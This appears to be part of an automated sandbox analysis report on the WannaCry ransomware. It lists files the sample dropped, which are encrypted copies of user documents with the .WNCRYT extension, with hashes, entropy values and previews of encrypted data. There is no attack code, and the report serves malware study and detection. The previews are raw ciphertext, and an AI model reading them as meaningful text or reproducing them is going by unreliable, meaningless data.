                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.844140166719657
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkNRD57ehJSczXwFjb9EPd+JIOrURxrJyMVuiD/7XIC:bkNCBzXsqPAJLrURxVp/EC
                                                                                                      MD5:9413CA5E0FEA1215C7DA6424A829E347
                                                                                                      SHA1:ABF147E7341BFA6F83D3F068D72C6B2BCB077001
                                                                                                      SHA-256:036818D7DED60440709ABCA043C596B01EFAC4F778D1F22E85F908FFBA3BEF50
                                                                                                      SHA-512:E331E5EDF7C03B3F85E3C072C457E7863E7DD4E4D6716DEA71F43801253525B41B9F07ED9C7BCEA60096FBEB92BE3518D23F5535B9730CA28600F62273BAA58C
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......R....n.'...6A<"...J.^~...%9... .=).'..3!...4.C.0..........}.Z.gG.E..d..wy..'IS..Yf`*lV.h{..S.).{y..*U...ZJ.~X..]..^.(........c.l..H.......SD.w..............].:.J..?.......`.$...\.f..^."....x.>.V_(.......d.......3...).....Id..6...3XY.:....=................I....$e..r..!..uOt.SM..z.mz..u.{..QHN...q.g...bu_..21a.^.*..d0...h:#.<CL......[....3fj...ex....27)n...<........*..\..y.{.. ..?J...l.*?.........N...vv...$...g.,........p...-D.#.0.%`.....I .|.2..:.7.9f..:....zMD3.o..o....Z.j..9.6.=f..i.$.B....>.....:.\n......[.-(...<..)./...H.....8...8..d.2.U.'...."..l..)C.<.#f..^v#{7.p.V.......>....q{ ...vT+..RUH..;h.2_.....p..Y...3k.m)...r....\0..>..X.@.}.dG...T.U.8....3)...8.7F6!Lm.? .[.@.nC.._.c/U.c}....Z....).Peb.L^..S..HUj.iY.~V..&..v.j.N......&...6..d=..@.js...&.x.......;..**.....e[,....h.^P.t.Cw7.h...*.ti..&.m`.r..Y.2h.H.:.N.7p1+..pd.-.j..TR.s..p.0.yhc.6...'.Q..y..:....w6[...............u.2....o..`........_<.BI...J~..%..u...cz

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PWZOQIFCAN.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.850963527723378
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkFgyoRjyQZlawbtJNMuhGYWwc6rdBpb57afe7387sEFyZ2gYKVxNuU4rtB:bkScQba8IuhYwHtoa383gYKnHaB
                                                                                                      MD5:30C722BD8B356D74C1601D700634A230
                                                                                                      SHA1:30B2BB7BE280F317CAFC5EE59AA1B9451315A739
                                                                                                      SHA-256:D22C933D05E70340D67D08E1998707BDBBDD89C7A0CF82BBD4BD9CCE080AE11C
                                                                                                      SHA-512:8EBE1345D2F15BB70EBCBEF36D5BE1B02E4D7B357B1120928ABBDF0A204519365D31DC38455C1B77C5343DE8F286518C82FE4F4D40549195C01F27F9777052A3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!..... ...$s/.u.5.S.WV.c...?.3..:-}.`Ve..c.....f"W...Ki.vm...{t.......(jc.3....,f..T.2....1v..39...gJC..7..NLD.~/c... q.........V.[.].....K.8....<@.*...u..........m:.v..-..J62.h].5.8.......4l....)..,%.(....k .......cM..;..!r.f.......}..7.......E.33................D..X...i.7QH..Q"....l.._.H.,.@H.k.gVjte.^.dWs.....tf....=G..3.V..K...U.~...#..~..j>._.!...6..O'..C.t..U....x...s.#Ns.y...Ta.aV.W.q.y4............y..Y.%..H.......=F..2....x...XR8..>..c.M...i...0X<q.......o.....PJ.(.f.1..{...-.%o.$.....KY.......^..F...D......>[F...qg.z......p..<.........U..2V.{..%....$.}....F]{.\..=....l%-.d.......v....S.\..~w....c#$..u{....J....1".q3..W8.u<..}.h...}s!lMA.....&EQ;.Fh.......-6.[).6k...0..T.....>..>.4.........H.+...~.m.Tt=.+......m.C|...o,J...k.(!..!!L..J..M.b..L.0..w..^...i....@}.m_^...._lk>.6...Z60...Z...d..f.c.......p.....|RW.......*.$\i...\....;...+.8R)s..B|dU4.c.N.Z..U..m..hn-.g.,X7.%..!...kX.m...V..6YV.*.\%%..EL.X..wZ-q.._J9.......

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PWZOQIFCAN.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.836764504284219
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bktB6YPDY9oSKdBC95LbP7R8mtiraQPc/TmZ54bm610Zj8TNiyP4Cbf72Hs:bk6YbsoSKdBCbn7btA5Bgb8jiiQTis
                                                                                                      MD5:ED5C6E309BD08E0022F17CAD69BA53A8
                                                                                                      SHA1:173EAC7DF0497DF48EC78104FD4148D44E7F0641
                                                                                                      SHA-256:943334469F2CA03C8EFD8D8B695178EBA4B533A2D533E462550BAF32F3122825
                                                                                                      SHA-512:B51E21533A4321FFECAE46BA45AA7383E809C652CC4113475B229B88A4A033CAFBD220A51A4313171E2E09030FC6A051514618F491085E75E512A7E269C0CD78
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....l.zEZ...#..foA.....$.........L{..W.....Q......U{MH...9......6.. .Ip..7y$..tk...5.}..|K3!I._./..I..i.S....#Z.1..*...6.L.`.o..u........~...sW..o'.(%t..1.......;.....2........L:.....:=.#. n..Bc.y).{.S....*...E.P.XcE...:...E....)y.Gm.2v........&.{.................A..+y..i....P.n.Z.P...a=xcp.#D.!y...u.(x.U.pI.u./.....>......-3..]s[....(d.\....Q..7]e..}.c.....>C....0.1@...s.&..D[..R.wB....@.9$....$.K..]......@!8.Pg*.A/._......3......Z.X.)...:...U.zvp.^I.A..4j.N...M..>..+3O.....k.(....c..'P.'j.u.\.v.. ...9x..^?G..../b.N.9T....*..$.. %.C...X+..D..i..D.EOM.:.,u[t.;..;.D$.:1..Aj3.U......=i3..F..`....J....Z......tiEd+...3.P.O.E....6BsE.Q>...M.._.O....H...Az..X.0h..=......4.Q..i....s.Jq.....X2d.3!......z.)..!..P.(.\.D..n.^..v..3.T.D...D.?.h...@....'_....$8.R.z.]..K..Mo.U's...Lf.O+\..%&2G.!..B~.Sw`S4....ba:....a.&S..>M........N1L.%6....d...3IJ.TN.]V.{....%..).(.s...0..;5.)L.q..`...}.|.Y..,G.......[Q..c.O&.._..............3.w...IMw.

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\TWGTYTLCKI.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.855312778149843
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkSWreTzCF4TxbLCs7z+D4+wxQUZ8Ab2bhxTRhjNjmXK6bkY6T1zQpwhs1lP:bkjICF4TxbXz+kLQZHbXTYX5d+8pwhsb
                                                                                                      MD5:6CFF4E466C782779B900426598A00E69
                                                                                                      SHA1:AEE54563DC9B029DFF53467C62FB68DDF7A1638B
                                                                                                      SHA-256:19E539E489EC3FC28F3BB52F0E6555938A2B3BCD8931DAB31443722ECEC54A31
                                                                                                      SHA-512:1043C8F6907831268A8717037F46007B4FC4658D3FFF94C86B38EE1C055D3676D9D072517FA407FEA311252742A3124D4210C3A34341C257676F137BE9F5DC38
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....6..Q...{6.6.........Li.....~w..!`.t}n..7.!..|.=...3..8..Z.:..8.g[.8d..._Z......^..(.J.jG|9...;.L.t.N1N..D5.......D.Ju....@..O....?Gz?XzD."...7*}..=..rS..........J..5.W#^.......6.H.o..0...o.dZs..k...^H..,~G..0]6.c..9...Mp..{.z.M/d5..br.........^/b6...................H...U.U.'...k9B......{a.lH...g.E.+%.R..'.........]..9...J..x..@l.1\;........\...\?..._.Ab..A..".~.@.j...^v."<....S.Tw......S%jq.K......w...z?..q..o.......>.B$........Q..:n`..o...)"..Z'.3.W..J...j..t...Jy._..gZ..E..i.4....w&/..u....X.+.d..g.8..i..Y$..c..|...c...~{p.e_!......h....D...&.`8....c...D"..O.n)B(..V...ia.i...j\n..6;^#..DH...bQO2..'..w...(....Vv..q..4...f.......t...>.F.....R.......j.......G'T...-.o.`.KT.W..PwB.Vr3\W../.}.J...!I.p......:....9i.T..r...V....9.r.0.1..:.@.....d..Z."..*t.A..c.].....h)4.K.=<.S.Q........S...../..-B....'..1.nL...c.#Y.m.U...R..1..Sq....t......2..h..Y.....T..%....EMS/....4.v.b.....0F.P..o..v...^.y...;x...@k..J....y.....X..k..e2/L...8.!.....

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UFTNOTWEML.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.822781312151245
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkdLEoHyg71DkKhPK49BTYlBAXDni9VG8yN4SQ2g590w8f2TMkdngPco6ub5:bkpny21YKA4zaBkjugN4p2Q9T2NOngk6
                                                                                                      MD5:3677EB938ED8DFCD0110D21D5A89ED3F
                                                                                                      SHA1:4438114B25AE7F09FCE43B101F11423DA3E16C05
                                                                                                      SHA-256:2654E76003C568226BA8D89F8D65E12E785135B9235F5F3D6383567EB874926F
                                                                                                      SHA-512:8BAB5200CEFA2D257DB458846481033B72268A03856D0A0558006F99138A3C703A775B4774BAEB9A2CD284017B2925E8B1F93B4E0BE7B563F6799035D6F14593
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....b.D..W...!.....d..}I_7.8.D...5<,...J............h:.tm............P;...........v.@Z#L.F^...<5.T..H3.. ...<....|.....H......s..PI.....`.p.c..A..i{F...j.|.c......\...tGk...7=I..w....*.#....b_7.J...z..^.H...{z..fK^V...F..........aatK.jl[F^...%..*E................FjP.)4.~.!QTF..[.P..L.....'e.\...Uok...P.a-.Z.5........Q.>O.94..EKDAk.l#...Z...<.U....b....&:..*.D#..1'..-.d...w.Q.......O...7.%].,.Y......5.6...;.....U,...7lQ..ft..ee.p....Y..,4X.3pM...H..6X^.X.....}.f%...x.D...D...@7[I....R.._..B.th..\..7.0.Q{GY%5....M.jwCL>..f..t..[B......]....h?.Z..P...qR..X.......x.p..P#.l.._......}hS..d...8...O..;.j.-.......V.w..R>...;N..D4...dp..2....B..c-...}.l.......ZLkW..~o........G...h.....a2.....U.Z.....(j^c.(V.<....&../.=..C..8|.p.q...R..*..YJ.-.....y..*...^t.....g.......t...b..-FZm.....c.%...S..B.K.9....A.q[..dPHM..^8.jGwS.a.ws.[`}...>..<.h.&[.....".S..{.\.Ah.b.....;.0...[;..U..9.P.....zQ......Ht...a..$].h]..{..;.e....K).":nEX?..*

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VWDFPKGDUF.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.832732422584235
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bklxVP474hKwE8Oz2maULcOh7nuaK+c5eQtOFO8IIodULkme:bkrVg2KwE8ggQYb4FXII9Lkme
                                                                                                      MD5:2DD7121AA7C2EF156DB02DD1E1840C79
                                                                                                      SHA1:4C5C96F5DE53536754A6EDA7A774D4EAB0D34380
                                                                                                      SHA-256:47EC69CE88E91B1DEC49B451C7D6ED9877642F1370D6F4453B0C51B1EF7F8D17
                                                                                                      SHA-512:544FDC8252EA9EB3C3A877016A3EBDAD7397AC7A61064C1BC15F03748F2FD4E1C2CFCF13C0A635AADFAFFD6863DF8D00CCF6AD85C8AF1987B974D1A3DD6064CC
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....a%x.........B....?)l.(..LY_./....<.....%UR\^...u$.#.......V|...o.n.a..E.........&Z.d>Y..|.H.C&.Y..w.....J.......K..b..0.co'....-..$..(5....*I..u~Ng.[..pz.\4..=..C=.e..b....8k.3kWQG.T..=1]?.8.F..6..'...j.l....l:Wv......+..<..)s"[._...#.N7PA.`.L...............C.x.I..7Z*tV.PU.z.....b.(+..#....H]'..T'.b=..]0.-..N.d|..=#3.......Jr.V...tc....b..u........&..R.".h>P..C.......='#..._..:Y.Y.:.....@..SMz6..6..R......3.<...#..%4..}.....Ae'...PB.0!..3#.i|G..PH..a\.ji.N..II.&.M{G...'...h.4.X.nek".0.......'C.w......46%.B. VbW....iy...;-...m.....>.y.pY.C9.!.....d...|.r|..hf..x"DVt.....qt~.Zk.F.O.*..pAA%2..Sn)..P.\..F.4..\.#p....Tc.1.......E.C,o.A.k..T'..p|zE...+_0.[[D...^BiO.....DF..U'..C..^.*.O.hF..g.m...=......N>.....Br.V...RrL.)').....q..u..oQ....-...th[a.g..H..]4d..H.>S.c.7..}....8...&..C.2k}C.J..>..R(...K9Q.....V.$`....0+}&....r.^.Y.m{.r9k.k.~..{A..c..R..w6....c.!.M.]Os.o]w...?...A.x........^.Ic._vK...J..]M...../b.@..1at..]

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VWDFPKGDUF.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.847908647472595
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkQbVXUh/2Ycx3HfqkFiq4ObehLygAy04nqYxsWfms9DuQtEUtH6QW06h9tguV8Q:bkQhXUhox3fqkFiqNben04qVWP9Ddt32
                                                                                                      MD5:CC31923BBBDD3D5D73FC062F75016135
                                                                                                      SHA1:C03AFA9A912C8D582BE464599596E5DF644D29D2
                                                                                                      SHA-256:1D5C002C44C518210258A03D7670CA17E0B375D2F1C303F472D0F0BA891C2BD0
                                                                                                      SHA-512:9E303297346D7778165FE6524B3E12B81A86D594DAEE1F2539E0578FE268F57DE48C6340ECFB667339DA32F7BE3C7E68A3FDE13CA47A725FFE01B1469E226A74
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....<.A.......|..e.o.cqA.X.'.....q.4.E1..es....mM...X./...2.J.....!(.....| 0..M..(.:.6.i.K..!j.r....C.Kn.H.!...&.U%.O.F..K.q..g..EE...#....ZIZ....f.dZM..g.q.U.tM.?.I...$|......D..p.?....\..o....W...=.....C.#.z.~(%.H...5..B.S.0..#Qk.+yas..F../vH...4............9Q5.Z,.da.[.&....L...v.5..(9)rw....'.!.g+..=Y.Z2I...6.1.$........p.UL.........x*Y..A....f<.U.Q../...'....BX.;k....H..M....714.#.......?.. w....+..........-..<.....:..7...1...N6P...[..:.@=....#...G...o%......D"G....I...e>.8V:..`...z6.....h.......">...p....l..)..f.F/U..|j../....8..m...p...g. .....|..+s.4:..l.8..f.2..k....%@.g..P..D%I ^'..shR.._..Y.s)`2y..a........3Ota.*...0-[7..Y.K.5..T....~..n.9A..XU7."u....f|.......t....kl{...J..j..2..K....@.E^y..b.Qi.9....h..V.N..J.:.Vq.l.\..GOR".cC..|..9..e........U.sq..E.....J...R..D....{..Bi..M.........0...i..D%c..o.G.....h..<S.....r.E........D.2.U..>e..d7*..^..SY..0.K`y1.f.....@.C'G.._...#.%..L.A....Q.q....-T.....:..U.07.c..2.{c1..X....I

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WXDORXTPKQ.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.8230463101381265
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkhsKRyXEvORRl3WRfriIXjBbnizsi7l+V5liY/K1Xk8abUcbfY0Nt5D:bk5yXEvAl3WRfuMGz1l+V5liYMaa0xD
                                                                                                      MD5:ADD021AE9F4163759EAC25AC408AAA13
                                                                                                      SHA1:33AF051AEDC6ACAFA73F294AA34F68AA2F0ABE9A
                                                                                                      SHA-256:F3ED4AB7FBB43BC11F9605FB6E798C865CF219EB4B21ED019E8EECB229120AC8
                                                                                                      SHA-512:746781F3F0C21DFA9CFE43FFA7781BE23E77F19E7597261D9B70AB1D8B81271ECDC350024E5B9430F0C6D823F3F94E384F54D9BA535D55BACAA73B420DE61FB3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......!D.R..Rb.R.0H.Y.b....3.....pI.".U..aO.}......,.....T....5!!..Z...s.K..~.....qt....z..x....O."7....|.u...Xn.h...4.5.e..._..PF.|....1.%].......~..Vt.+.I_z......)W.n...l..s..B.B.1.o.J..~.tb....X..0q....W.[......-...M.4E..W..1Q.!#]..B$.#..d.C@.M..l..d.............X..o....]8.!.4\.......r.0s.f..$v..p.TF.JAG....6p..<U.r..Pu..6...,.Q....s.t.........mt.Q.Q...,.)I.../......cA.....5F*.....&.Z4...P...l...h.......7.e.h|.9.Y.B6g...k..6.*....0%+.........BI.bf.....??6....%.I.[x..p0.*.m...\..A..n./.2)..._........v.g.J..a.xE@.-..h.-.5.,....$..p5...k.z..[.V......V.@mz..m~.+7......c.m..B.F.@..g.x.j....}9...lr..=l._.....W.gs..?...WY..g{.O.ygD.d....z........B.9..I)k..E%.7.[P.#.q...3.......Nh!-Ko..jI.-.,..._.W+.<.!.....i.a../..9...q\&j..h.wr[.1.@."#.....C..9.......49.~....@......Cz|Sj8]A....'2.D.f......D.S...F....8-....&.O...u.e.B..*~I.........G..oe.t...ry2.+..e.i...0....}.........3.t..C.IOSs..P.tDcM...=..Ze..1i.I..I....N...^.W4........G...$#.....[

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZGGKNSUKOP.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.836725704295326
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bky/RWaPbM5zggyTD+A33djqs5lEXSCNZcBCmaPCcdbUALkCdtyQN0:bkypWaTcyjndj1hCNaBCpFUALPtyt
                                                                                                      MD5:9286319E4B95757D1A63AB4137749F42
                                                                                                      SHA1:8BA156E45604FB9B97CA70802E04811AAC7FF4A3
                                                                                                      SHA-256:5B08368E44EF72C163F9A12F464AC2D1FE64A5A4C18D21C9DA63981784848D06
                                                                                                      SHA-512:F23BB907FE7C3C1190F81760875E137DF5437F400181BE836140EB2DC01AF7479F40B51C0B5BE8889B3318958C73BD5BA19A0636F363D07C1A1075157695BDEA
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....0.Z..BV...u..r.H.,.v=...6q..6o.F...JqC....R....6Z...frG..@G.h..7........DLH3..qmu.....9...\?...%3k*.W.&.{v^..ol.i.Q.R.qg.3.......a..?a..Vf.H.=c......k../.e .d.V..w..D.K.....x..Q...CU....o3..~.+.C.._..$..e=.....QI..n).k..q.p..`D.K..q.+.\.`.9?T.............f...VT........ :F..Y..&I4..k.....$...NY0LL..Tu.?.....".....7=D..ie...GJJ.E6..@...v...z.N....>V....i..K|..H....tZ......;.:....2.K.4.....h.&.....|.D.M.6..~..F...$.Lj>USX.....e.......~#.._.Q.Y..f5YtTb..~..Z.xg....}8p.o%...$g...+...u....%]."4........[$..mG....0S.c....]..c{........rq.....b...z.4.p3...Z!.!.B.3. .........s..@.e.e..2N....7.Z..... .:.me...M/...a....<w...$h...0e..z..i|.1/L.&~...X8.8[.....2.d.Bc.?.2..k$y`pX...T.n`......W.}.Q>.'.....v.=.\..)y...dT..W..\...4.v.H8.`~V.=.h..o.}lk=.A......*.P..........!..{.|...=A......H...:.kx...h{(.......aH...R..HGz .Yt.H'#Y......[.E.8g..{.6W!...}.0.3FS..v.p...e.c.Lt...A.~..%..M..V`.$....>....0.%..c..........>.\59..J.Zg;..,.._S....h.......P

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZGGKNSUKOP.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.851789141280261
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkkG0cOEdYOyOrL3YqAcuYPNGn9gxnEYMmUhTOHpvBUp1jPxDvfCed:bkkGBNNL3YZcJG9KnE7mUhTOHpvUpr5d
                                                                                                      MD5:2A63AE719A41F813570DD87AFBE258CC
                                                                                                      SHA1:12DB53EA96E147A8C06CE26712AFCF70E5BC6785
                                                                                                      SHA-256:378E1D39E08E8FBDC06593300CA788D7BB53067F2B9EA12C670323E7BAA50F89
                                                                                                      SHA-512:320B0EF0C9D1B1980A940DC7957F3038E507277253A88527224F83C61960A820039E8C449249AAE70CC0F8D07740F48F741D840F186D4BA3582244A5CF83353D
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....()e.......~H:.t>.?tZ...@..V.q..7...d}%.!..y...^..>X.,[M..$....?...Z..`....~'O+.S.`LP.Q.u.E.#.........&...9i...B ..Q........@.z...{..4k.kV.vF......n..EJ.?`.3.'#{.Lr....-.[..(.J...S....10x.....6.J.N.1L...I...$.m....t...Ni.Y1.]..<............U..............H....k ..v$..+.X..0U.vo>.c..]w....... .....AH.l.....yk..O.e.~k_L..*S....v..!%WV..*..2..V[w~....).H....L.fl..Y./..w.......}.....6z`}T..6.....pk@E.<.....&....E'HD}C.d#..O..2G.0...........A...+.....s...{..6....U.l./#.'<.w.#.....6.+.w....>..u.2..i.f...v._.4Z...~...r7e.g...#B......1X..h....*p....k.K.X<..c.=..+MIQ...y2..y.......#.5&..vF...b.}?9].........L8.0/..j.(.N.X..I..5...k.....k.....U.|1..n.=N..`B5W.......\.....s..s]J.O....,...R..0T.u.o.<D...l.6.7.ro......@HE.b....[*-@....B....9..d..y.v..58...x..o..f<.G..@A...|ls...........vI.......r.7M.........c/.7...Z...>f....wah..S.E.!./n.s.E5 ...FYb.......&;>.....fs:.~[..>...b.+.....x`..NX.&n.s.>T.$KQcC..# .q8..y.....0.P.U.B..T=.......<*.^.?q.

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZGGKNSUKOP.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.869445582790936
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkyr6wNsJ88ZjtHZHB5gGx5K/YLIIXWBXj9VG9SPeZQbumXRZp4dKQ:bkyuwNv8LHZHB7x5K/6w9V7bu+tdQ
                                                                                                      MD5:C0C73641FC4C925A93C041F06D6F724B
                                                                                                      SHA1:AA727784F74B08280A58694D61D58F334C49D2FE
                                                                                                      SHA-256:40C616565135D41C44203D4C646FE25C5B61E3FA07EECFE70DF095A4655B825A
                                                                                                      SHA-512:82D74A714C3F2EE39D82F60745522E2A66DF7FE7DCBBF3967146417A3647ACCFBA31C674B3DC891A4DAD0FD1B076AAF5AF6C8B44BCC7D0CC5F2E7FABFDBA56A1
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........x~.e...NW.g..<..9.b.;...F..F.....Y.R.$T>...P.._.._..b.\.T..8.v....t.{.Gc.,..Rl.r.2-...mKLV..~^daoK 7I@!.b.3a.....u.[.. ....x...%..o.E...S...]<|......!..VjF.5...l..R..}..g...3.ZZ..D....d....u...T.<.'.E..CN..b..^.3.0.y..I."...s1;...q#....q...............~. .{.K,....=As{&.....~......WCX.;.. .GT`b.7.}&3......]f..g@........et.Ew.ib.A..dW. ..E.r.~._...".....WQ..a.fh..O..?...'Y.#..#....c..):E.9.v....Q."6...... h...Pa.&.x."h-....-.....G.D...7.p....WC!....h.....2N}.Qh...E...P..^.[..?;...[.cw.....Q..DR..!...b...2......K.V?.3v...X...7L..6..[.B-..#.....O`.......*%N...?.`|v.B.Vw.....6..5...$s.!.....B..[..qo.S.....H..=.l.!.PY.,.K.l.....bA>.u.. r.....))...rRgWJ.zf<fr....B...!d=.fyG.w~..)...bS..J....z.\sO9PP.L.$....y0.a*..BW.ei..)w~8...{.^.\.#.d...o9.....j.J...d=.s..S..7..G....}.N~c..e.Qc...c?......f.c."..f.U..V,yE...e..N..4.......5.+;.........q......#...`.T.v.SL..GYO.8.lV1..M...&$.T...H[.X....W..B...Z.%...j...]O.LJ.....^.u.Er.@..(..IFm8..a

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZIPXYXWIOY.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.867598777653416
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkmsish93mnvlIyAAL80wmndMjQysNaY1At82WE3kwHTtcLONQiTzBCwx/:bklisbuIfw8UndMjMtAtAwqS9Hjx/
                                                                                                      MD5:C5290045B5B2C3AA52E0618E40FCF367
                                                                                                      SHA1:FB67F9CDA8E7B60EB73CEAA6DA8D6CCA30047704
                                                                                                      SHA-256:CC1F95A1F782951056A5760F7E933A0E6B36C6A0D4BECEBDACD1A7F9907336E6
                                                                                                      SHA-512:69FFE30F5821141AD7F670FC4E84DB62B82B510B39A2772DD89FDE56EBD7CA4CBDC0732C27889B73DAF316AA316A62A3773437462DED4AB4F1445CA3E856CC48
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....xr.{..M.)w..^.+q..pR. .......:.m....mT.f.L.....e....q..e..@.a`0R.%......Q..9...s5..ia..h.o.'p.....P...yz.~..Aj.9./.W.D...7.8*ZV.=........@.c......4..T.5.......g...h%.......Y.....F..6..1.U.F..:g......K].V.cw.....9.D(..a2.9"7.5V\...y...................fX..B.N...&......J.-.p.o.od..C.5.t.z...#`.......l..f(.p..H..Y... ]...eR.9...D@4H.%}{I..nG.0!....`.?.....%..@..3=.#].:.!....K..Z....;....nFT..5.}..Z=..{...3.......N..g?..Y.......\+..]....Vk.xWK..........nsC^..Z........)_.y..jb.S.......3Mw..>.Q'a..;...i_Hs>..L..b...M.o........r^n.....OY/...Y.#.<.[-_............N.YJ...ev.K%l....P.h.&.WF.$..-..hJ.#...v.....|.X..w.+Y.i.Z$.R..!..;..\...7Ox.7.i.9.>G..:.....pUHW.sg..^.....S.A....$.O......%...!..P......h...OpW.;.9.....5.s.a.rP....u..")..RB1x....Y_ZY...8*K..u....E..-.2.m-..fT..(..t..;....M.&...80...6..b.u...".1Z.mQ.. !..6\..]....K*.4.|!..........Z.^.EG..+..?.d.(k}..Zf.E...<Nc.O<....e@..\...AlM8...(S.B..M...;W....t...qu.~,&.*..

                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZIPXYXWIOY.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.8293195297831195
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk4Y1I/Wyfg9zg3ZBVlXgF3RRcsCePmjkcWS/8PEDM9E15Jf2DyHpXI4gnKsOe+v:bk4Z1fwM3hiIsCePqkc7/2Eg9EpLJmeH
                                                                                                      MD5:370687D71848546DBDFB5CB448ADC779
                                                                                                      SHA1:50FA797C4ABC5C96782730ECC4832A5927C9626C
                                                                                                      SHA-256:3F9AE34CC86AC52520A0296691AB02244D46F720869903BA9CE8F1F189EF9FA4
                                                                                                      SHA-512:C1891AE4FE209C8E1A83FF9D2A93978BFADF8A244D5CBF025FEDAB077CCE29EDF5845909A431CF07CA0535D287027F1EE3A72A2C165B17B9B6DFBBCA5DC31F9A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
